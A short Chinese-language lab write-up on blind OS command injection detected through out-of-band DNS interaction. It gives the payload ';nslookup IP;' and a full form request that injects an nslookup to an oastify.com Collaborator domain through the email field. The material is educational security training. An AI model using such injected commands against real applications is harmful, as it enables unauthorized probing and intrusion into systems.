> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/command-injection/blind-command-injection-with-oob-interaction.md).
# 通过 OOB 交互的盲命令注入
### 带外交互的盲目 OS 命令注入
本实验展示了反馈功能存在盲目系统命令注入漏洞。/ 该应用程序执行一个由用户提供的数据构建的 shell 命令。此执行是 **异步的** 并且不会影响应用程序返回的响应。无法将命令输出重定向到可访问的位置。另一方面，可以导致 **带外交互（OOB）** 到外部域名。
本实验的目标是利用该注入迫使应用程序向 Burp Collaborator 域名发起一次 \*\* DNS\*\* 请求。
#### **方法**
`nslookup` 用于生成出站查询。/ 注入是在表单的某个字段中完成的，通过在订单周围包裹 `;` 以破坏原始语法。
已测试命令示例：
```
nslookup
```
注入的负载：
;nslookup IP;
如果注入成功，我们会在 Burp Collaborator 上收到该请求。
#### **完整请求示例**
{% code overflow="wrap" %}
```bash
csrf=2GdzmbhNzU7HHOj8pOZUwUfJ1s0EIbjP&name=test&email=test%40test.com.com;nslookup v51x9gtodb5n35252oddaichm8szgq4f.oastify.com;&subject=test&message=test.com
```
{% endcode %}
此负载会触发向受控域名发起 DNS 请求，从而确认带外盲注入。
---
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